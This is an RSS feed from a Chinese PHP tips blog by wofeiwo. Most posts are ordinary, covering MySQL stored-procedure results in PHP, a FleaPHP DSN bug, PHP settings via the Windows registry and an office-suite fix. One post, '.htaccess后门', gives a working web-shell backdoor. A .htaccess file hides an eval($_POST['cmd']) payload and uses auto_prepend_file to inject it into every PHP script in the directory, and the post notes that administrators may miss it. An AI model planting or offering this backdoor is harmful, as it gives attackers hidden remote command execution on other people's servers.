﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>PHP博客-GaRY's Blog-随笔分类-Tips</title><link>http://www.phpweblog.net/GaRY/category/85.html</link><description>Beginning is always beautiful</description><language>zh-cn</language><lastBuildDate>Tue, 29 Jan 2008 08:32:57 GMT</lastBuildDate><pubDate>Tue, 29 Jan 2008 08:32:57 GMT</pubDate><ttl>60</ttl><item><title>php调用mysql存储过程返回结果集的处理</title><link>http://www.phpweblog.net/GaRY/archive/2008/01/29/2752.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 29 Jan 2008 07:15:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2008/01/29/2752.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/2752.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2008/01/29/2752.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/2752.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/2752.html</trackback:ping><description><![CDATA[最近开发一个项目,用到这个,记一下:<br>
<div class="cnt">
<p>关键就是两点</p>
<div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #008080;">1</span> <span style="color: #000000;"></span><span style="color: #000000;"></span><span style="color: #008080;">define</span><span style="color: #000000;">(</span><span style="color: #000000;">'</span><span style="color: #000000;">CLIENT_MULTI_RESULTS</span><span style="color: #000000;">'</span><span style="color: #000000;">,</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">131072</span><span style="color: #000000;">);<br></span><span style="color: #008080;">2</span>&nbsp;<span style="color: #000000;"><br></span><span style="color: #008080;">3</span>&nbsp;<span style="color: #000000;"></span><span style="color: #000000;"></span><span style="color: #000000;"></span><span style="color: #800080;">$link</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #008080;">mysql_connect</span><span style="color: #000000;">(</span><span style="color: #000000;">"</span><span style="color: #000000;">127.0.0.1</span><span style="color: #000000;">"</span><span style="color: #000000;">,</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">root</span><span style="color: #000000;">"</span><span style="color: #000000;">,</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">""</span><span style="color: #000000;">,</span><span style="color: #000000;">1</span><span style="color: #000000;">,</span><span style="color: #000000;">CLIENT_MULTI_RESULTS)&nbsp;or&nbsp;</span><span style="color: #0000ff;">die</span><span style="color: #000000;">(</span><span style="color: #000000;">"</span><span style="color: #000000;">Could&nbsp;not&nbsp;connect:&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">.</span><span style="color: #008080;">mysql_error</span><span style="color: #000000;">());</span><span style="color: #008080;"></span><span style="color: #000000;"><br></span><span style="color: #008080;"></span><span style="color: #000000;"></span><span style="color: #008080;"></span><span style="color: #000000;"></span></div>
<br>下面就可以正常使用了，以下是例子程序。
<p> </p>
<div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #008080;">&nbsp;1</span>&nbsp;<span style="color: #000000;">&lt;?</span><span style="color: #000000;">php<br></span><span style="color: #008080;">&nbsp;2</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008080;">define</span><span style="color: #000000;">(</span><span style="color: #000000;">'</span><span style="color: #000000;">CLIENT_MULTI_RESULTS</span><span style="color: #000000;">'</span><span style="color: #000000;">,</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">131072</span><span style="color: #000000;">);<br></span><span style="color: #008080;">&nbsp;3</span>&nbsp;<span style="color: #000000;"><br></span><span style="color: #008080;">&nbsp;4</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #800080;">$link</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #008080;">mysql_connect</span><span style="color: #000000;">(</span><span style="color: #000000;">"</span><span style="color: #000000;">127.0.0.1</span><span style="color: #000000;">"</span><span style="color: #000000;">,</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">root</span><span style="color: #000000;">"</span><span style="color: #000000;">,</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">""</span><span style="color: #000000;">,</span><span style="color: #000000;">1</span><span style="color: #000000;">,</span><span style="color: #000000;">CLIENT_MULTI_RESULTS)&nbsp;or&nbsp;</span><span style="color: #0000ff;">die</span><span style="color: #000000;">(</span><span style="color: #000000;">"</span><span style="color: #000000;">Could&nbsp;not&nbsp;connect:&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">.</span><span style="color: #008080;">mysql_error</span><span style="color: #000000;">());<br></span><span style="color: #008080;">&nbsp;5</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008080;">mysql_select_db</span><span style="color: #000000;">(</span><span style="color: #000000;">"</span><span style="color: #000000;">vs</span><span style="color: #000000;">"</span><span style="color: #000000;">)&nbsp;or&nbsp;</span><span style="color: #0000ff;">die</span><span style="color: #000000;">(</span><span style="color: #000000;">"</span><span style="color: #000000;">Could&nbsp;not&nbsp;select&nbsp;database</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br></span><span style="color: #008080;">&nbsp;6</span>&nbsp;<span style="color: #000000;"></span><span style="color: #000000;">?&gt;</span><span style="color: #000000;"><br></span><span style="color: #008080;">&nbsp;7</span>&nbsp;<span style="color: #000000;"><br></span><span style="color: #008080;">&nbsp;8</span> <span style="color: #000000;"></span><span style="color: #000000;">&lt;?</span><span style="color: #000000;">php<br></span><span style="color: #008080;">&nbsp;9</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #800080;">$result</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #008080;">mysql_query</span><span style="color: #000000;">(</span><span style="color: #000000;">"</span><span style="color: #000000;">call&nbsp;get_news_from_class_id(2)</span><span style="color: #000000;">"</span><span style="color: #000000;">)&nbsp;or&nbsp;</span><span style="color: #0000ff;">die</span><span style="color: #000000;">(</span><span style="color: #000000;">"</span><span style="color: #000000;">Query&nbsp;failed:</span><span style="color: #000000;">"</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">.</span><span style="color: #008080;">mysql_error</span><span style="color: #000000;">());<br></span><span style="color: #008080;">10</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">while</span><span style="color: #000000;">(</span><span style="color: #800080;">$row</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #008080;">mysql_fetch_array</span><span style="color: #000000;">(</span><span style="color: #800080;">$result</span><span style="color: #000000;">,</span><span style="color: #000000;">&nbsp;MYSQL_ASSOC))<br></span><span style="color: #008080;">11</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br></span><span style="color: #008080;">12</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #800080;">$line</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">'</span><span style="color: #000000;">&lt;tr&gt;&lt;td&gt;&lt;a&nbsp;target&nbsp;=&nbsp;_blank&nbsp;href=\</span><span style="color: #000000;">''</span><span style="color: #000000;">.$row["url"].</span><span style="color: #000000;">'</span><span style="color: #000000;">\</span><span style="color: #000000;">'</span><span style="color: #000000;">&gt;</span><span style="color: #000000;">'</span><span style="color: #000000;">.</span><span style="color: #800080;">$row</span><span style="color: #000000;">[</span><span style="color: #000000;">"</span><span style="color: #000000;">title</span><span style="color: #000000;">"</span><span style="color: #000000;">]</span><span style="color: #000000;">.</span><span style="color: #000000;">'</span><span style="color: #000000;">(</span><span style="color: #000000;">'</span><span style="color: #000000;">.</span><span style="color: #800080;">$row</span><span style="color: #000000;">[</span><span style="color: #000000;">"</span><span style="color: #000000;">page_time</span><span style="color: #000000;">"</span><span style="color: #000000;">]</span><span style="color: #000000;">.</span><span style="color: #000000;">'</span><span style="color: #000000;">)</span><span style="color: #000000;">'</span><span style="color: #000000;">.</span><span style="color: #000000;">'</span><span style="color: #000000;">&lt;/a&gt;&lt;/td&gt;&lt;/t</span><span style="color: #008080;"></span><span style="color: #000000;">r&gt;</span><span style="color: #000000;">'</span><span style="color: #000000;">;<br></span><span style="color: #008080;">14</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">echo</span><span style="color: #000000;">&nbsp;</span><span style="color: #800080;">$line</span><span style="color: #000000;">;<br></span><span style="color: #008080;">15</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008080;">printf</span><span style="color: #000000;">(</span><span style="color: #000000;">"</span><span style="color: #000000;">\n</span><span style="color: #000000;">"</span><span style="color: #000000;">);<br></span><span style="color: #008080;">16</span>&nbsp;<span style="color: #000000;"><br></span><span style="color: #008080;">17</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br></span><span style="color: #008080;">18</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008080;">mysql_free_result</span><span style="color: #000000;">(</span><span style="color: #800080;">$result</span><span style="color: #000000;">);<br></span><span style="color: #008080;">19</span> <span style="color: #000000;"></span><span style="color: #000000;">?&gt;</span><span style="color: #000000;"><br></span><span style="color: #008080;">20</span>&nbsp;<span style="color: #000000;"><br></span><span style="color: #008080;">21</span>&nbsp;<span style="color: #000000;"></span><span style="color: #000000;">&lt;?</span><span style="color: #000000;">php<br></span><span style="color: #008080;">22</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008080;">mysql_close</span><span style="color: #000000;">(</span><span style="color: #800080;">$link</span><span style="color: #000000;">);<br></span><span style="color: #008080;">23</span>&nbsp;<span style="color: #000000;"></span><span style="color: #000000;">?&gt;</span></div>
<br>另外说个事,因为最近用的是FleaPHP这个框架进行开发的.设置了DSN的options发现没有作用,debug了一下发现问题出在FLEA::parseDSN函数中,代码如下:<br><br>
<div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; background-color: #eeeeee; font-size: 13px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #008080;">1</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">function</span><span style="color: #000000;">&nbsp;parseDSN(</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">)<br></span><span style="color: #008080;">2</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;{<br></span><span style="color: #008080;">3</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(</span><span style="color: #008080;">is_array</span><span style="color: #000000;">(</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">))&nbsp;{<br></span><span style="color: #008080;">4</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">host</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">isset</span><span style="color: #000000;">(</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">host</span><span style="color: #000000;">'</span><span style="color: #000000;">])&nbsp;</span><span style="color: #000000;">?</span><span style="color: #000000;">&nbsp;</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">host</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">:</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">''</span><span style="color: #000000;">;<br></span><span style="color: #008080;">5</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">port</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">isset</span><span style="color: #000000;">(</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">port</span><span style="color: #000000;">'</span><span style="color: #000000;">])&nbsp;</span><span style="color: #000000;">?</span><span style="color: #000000;">&nbsp;</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">port</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">:</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">''</span><span style="color: #000000;">;<br></span><span style="color: #008080;">6</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">login</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">isset</span><span style="color: #000000;">(</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">login</span><span style="color: #000000;">'</span><span style="color: #000000;">])&nbsp;</span><span style="color: #000000;">?</span><span style="color: #000000;">&nbsp;</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">login</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">:</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">''</span><span style="color: #000000;">;<br></span><span style="color: #008080;">7</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">password</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">isset</span><span style="color: #000000;">(</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">password</span><span style="color: #000000;">'</span><span style="color: #000000;">])&nbsp;</span><span style="color: #000000;">?</span><span style="color: #000000;">&nbsp;</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">password</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">:</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">''</span><span style="color: #000000;">;<br></span><span style="color: #008080;">8</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">database</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">isset</span><span style="color: #000000;">(</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">database</span><span style="color: #000000;">'</span><span style="color: #000000;">])&nbsp;</span><span style="color: #000000;">?</span><span style="color: #000000;">&nbsp;</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">database</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">:</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">''</span><span style="color: #000000;">;<br></span><span style="color: #008080;">9</span>&nbsp;<span style="color: #000000;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">options</span><span style="color: #000000;">'</span><span style="color: #000000;">]&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">isset</span><span style="color: #000000;">(</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">options</span><span style="color: #000000;">'</span><span style="color: #000000;">])&nbsp;</span><span style="color: #000000;">?</span><span style="color: #000000;">&nbsp;</span><span style="color: #008080;">serialize</span><span style="color: #000000;">(</span><span style="color: #800080;">$dsn</span><span style="color: #000000;">[</span><span style="color: #000000;">'</span><span style="color: #000000;">options</span><span style="color: #000000;">'</span><span style="color: #000000;">])&nbsp;</span><span style="color: #000000;">:</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">''</span><span style="color: #000000;">;</span></div>
<br>这里多加了个serialize,不知道是开发人员手误还是咋的.<br></div><img src ="http://www.phpweblog.net/GaRY/aggbug/2752.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2008-01-29 15:15 <a href="http://www.phpweblog.net/GaRY/archive/2008/01/29/2752.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>通过 Windows 注册表修改 PHP 配置</title><link>http://www.phpweblog.net/GaRY/archive/2007/12/25/Configure_PHP_via_Windows_Reg.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 25 Dec 2007 05:59:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/12/25/Configure_PHP_via_Windows_Reg.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/2596.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/12/25/Configure_PHP_via_Windows_Reg.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/2596.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/2596.html</trackback:ping><description><![CDATA[PHP手册,常看常新:)<br>记录一下,不错不错&nbsp;<br><br>在 Windows 下运行 PHP 时，可以用 Windows 注册表以目录为单位来修改配置。配置值存放于注册表项 <em class="literal">HKLM\SOFTWARE\PHP\Per Directory Values</em> 下面，子项对应于路径名。例如对于目录 <em class="literal">c:\inetpub\wwwroot</em> 的配置值会存放于 <em class="literal">HKLM\SOFTWARE\PHP\Per Directory Values\c\inetpub\wwwroot</em> 项下面。其中的设定对于任何位于此目录及其任何子目录的脚本都有效。项中的值的名称是 PHP 配置指令的名字，值的数据是字符串格式的指令值。值中的 PHP 常量不被解析。不过只有可修改范围是 PHP_INI_USER 的配置值可以用此方法设定，PHP_INI_PERDIR 的值就不行。<br><br>另外,php.ini的位置可以通过 <em>HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath</em>（Windows 注册表位置）设置.优先级高于位于系统目录下和php目录下的php.ini文件<img src ="http://www.phpweblog.net/GaRY/aggbug/2596.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-12-25 13:59 <a href="http://www.phpweblog.net/GaRY/archive/2007/12/25/Configure_PHP_via_Windows_Reg.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>.htaccess后门</title><link>http://www.phpweblog.net/GaRY/archive/2007/12/25/htaccess_backdoor.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 25 Dec 2007 05:44:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/12/25/htaccess_backdoor.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/2595.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/12/25/htaccess_backdoor.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/2595.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/2595.html</trackback:ping><description><![CDATA[PHP手册,常看常新:)<br><br>PHP有个特性,会根据apache的httpd.conf和.htaccess来覆盖自己php.ini的设置.<br>恰好,找到两个邪恶的属性:<br><br>
<hr>
<span class="term"><tt class="parameter">
<dt id="ini.auto-prepend-file"><span class="term"><em><tt class="parameter">auto_prepend_file</tt> </em><a class="type string" href="http://cn2.php.net/manual/zh/language.types.string.php"><em>string</em></a><em> </em></span>
</dt><dd>
<p class="para"><em>指定在主文件之前自动解析的文件名。该文件就像调用了 </em><a class="function" href="http://cn2.php.net/manual/zh/function.include.php"><em>include()</em></a><em> 函数一样被包含进来，因此会使用 </em><a class="link" href="http://cn2.php.net/manual/zh/ini.core.php#ini.include-path"><em>include_path</em></a><em>。 </em></p>
<p class="para"><em>特殊值 <strong><tt>none</tt></strong> 禁止了自动前缀。 </em></p>
</dd><dt id="ini.auto-append-file"><span class="term"><em><tt class="parameter">auto_append_file</tt> </em><a class="type string" href="http://cn2.php.net/manual/zh/language.types.string.php"><em>string</em></a><em> </em></span>
</dt><dd>
<p class="para"><em>指定在主文件之后自动解析的文件名。该文件就像调用了 </em><a class="function" href="http://cn2.php.net/manual/zh/function.include.php"><em>include()</em></a><em> 函数一样被包含进来，因此会使用 </em><a class="link" href="http://cn2.php.net/manual/zh/ini.core.php#ini.include-path"><em>include_path</em></a><em>。 </em></p>
<p class="para"><em>特殊值 <strong><tt>none</tt></strong> 禁止了自动后缀。 </em></p>
<blockquote>
<p><em><strong class="note">Note</strong>: <span class="simpara">如果脚本通过 <a class="function" href="http://cn2.php.net/manual/zh/function.exit.php">exit()</a> 终止，则自动后缀不会发生。 </span></em></p>
</blockquote>
</dd><dt id="ini.default-mimetype"><span class="term"><tt class="parameter"><em>
<hr>
<br></em>于是很简单,利用.htaccess就能包含文件,并且不用修改任何对方的php文件,同目录下所有php文件就被植入木马了.管理员不注意的话可能就被忽略掉.<br>本地测试了一下,写了个.htaccess文件到我的sphpblog目录中.<br></tt></span>
</dt><dt id="ini.auto-prepend-file"></dt></tt></span><span class="simpara"><br>
<div style="border: 1px solid #cccccc; padding: 4px 5px 4px 4px; font-size: 13px; width: 98%; background-color: #eeeeee;"><img id="Code_Closed_Image_133715" onclick="this.style.display='none'; code_closed_text_133715.style.display="'none';" code_open_image_133715.style.display="'inline';" code_open_text_133715.style.display="'inline';"" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align="top" height="16" width="11"><img id="Code_Open_Image_133715" style="display: none;" onclick="this.style.display='none'; code_open_text_133715.style.display="'none';" code_closed_image_133715.style.display="'inline';" code_closed_text_133715.style.display="'inline';"" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align="top" height="16" width="11"><span id="Code_Closed_Text_133715" style="border: 1px solid #808080; background-color: #ffffff;">.htaccess</span><span id="Code_Open_Text_133715" style="display: none;"><br><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #008080;">1</span><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align="top"><span style="color: #000000;">#&lt;?php&nbsp;eval($_POST</span><span style="font-weight: bold; color: #800000;">[</span><span style="color: #800000;">'cmd'</span><span style="font-weight: bold; color: #800000;">]</span><span style="color: #000000;">)</span><span style="color: #008000;">;</span><span style="color: #008000;">?&gt;</span><span style="color: #008000;"><br></span><span style="color: #008080;">2</span><span style="color: #008000;"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align="top"></span><span style="color: #000000;"><br></span><span style="color: #008080;">3</span><span style="color: #000000;"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align="top"></span><span style="color: #000000;">php_value&nbsp;auto_prepend_file&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">.htaccess</span><span style="color: #000000;">"</span></span></div>
<br>然后随意访问一下sphpblog中的任意文件.<br><br><img alt=".haccess" src="http://www.phpweblog.net/images/phpweblog_net/gary/phpbackdoor.JPG" longdesc="效果图" border="0" height="396" width="764"><br><br>当然直接包含.haccess文件太明显了,上面一对无关和出错信息会出卖你的后门的.我这里只是PoC,要包含什么就随便各位了.<br>哦,还有一点,会很方便:<br><br>
<hr>
<a class="link" href="http://www.php.net/manual/zh/ini.core.php#ini.include-path">include_path</a>&nbsp;&nbsp;&nbsp;
".;/path/to/php/pear"&nbsp;&nbsp;&nbsp;
PHP_INI_ALL
&nbsp;
&nbsp;
<hr>
<br>什么意思我就不说了.各位自己琢磨吧,呵呵<br></span><img src ="http://www.phpweblog.net/GaRY/aggbug/2595.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-12-25 13:44 <a href="http://www.phpweblog.net/GaRY/archive/2007/12/25/htaccess_backdoor.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Eioffice tips</title><link>http://www.phpweblog.net/GaRY/archive/2007/09/06/1909.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Thu, 06 Sep 2007 07:21:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/09/06/1909.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1909.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/09/06/1909.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1909.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1909.html</trackback:ping><description><![CDATA[<span class="postbody">前几天我的永中Office突然崩了，后来才明白是它不支持桌面效果。永中公司的技术员给我回邮件说，如
果想要用桌面效果，目前解决的方法是先关闭特效，然后编辑/usr/bin/eio，在"#!/bin/sh"下增加一行,写入："export
AWT_TOOLKIT=MToolkit"。
</span><img src ="http://www.phpweblog.net/GaRY/aggbug/1909.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-09-06 15:21 <a href="http://www.phpweblog.net/GaRY/archive/2007/09/06/1909.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>转两个tips</title><link>http://www.phpweblog.net/GaRY/archive/2007/08/11/1705.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Sat, 11 Aug 2007 09:58:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/08/11/1705.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1705.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/08/11/1705.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1705.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1705.html</trackback:ping><description><![CDATA[<div class=postbody>
<p>char[]于char*的区别<br><br>见程序如下：</p>
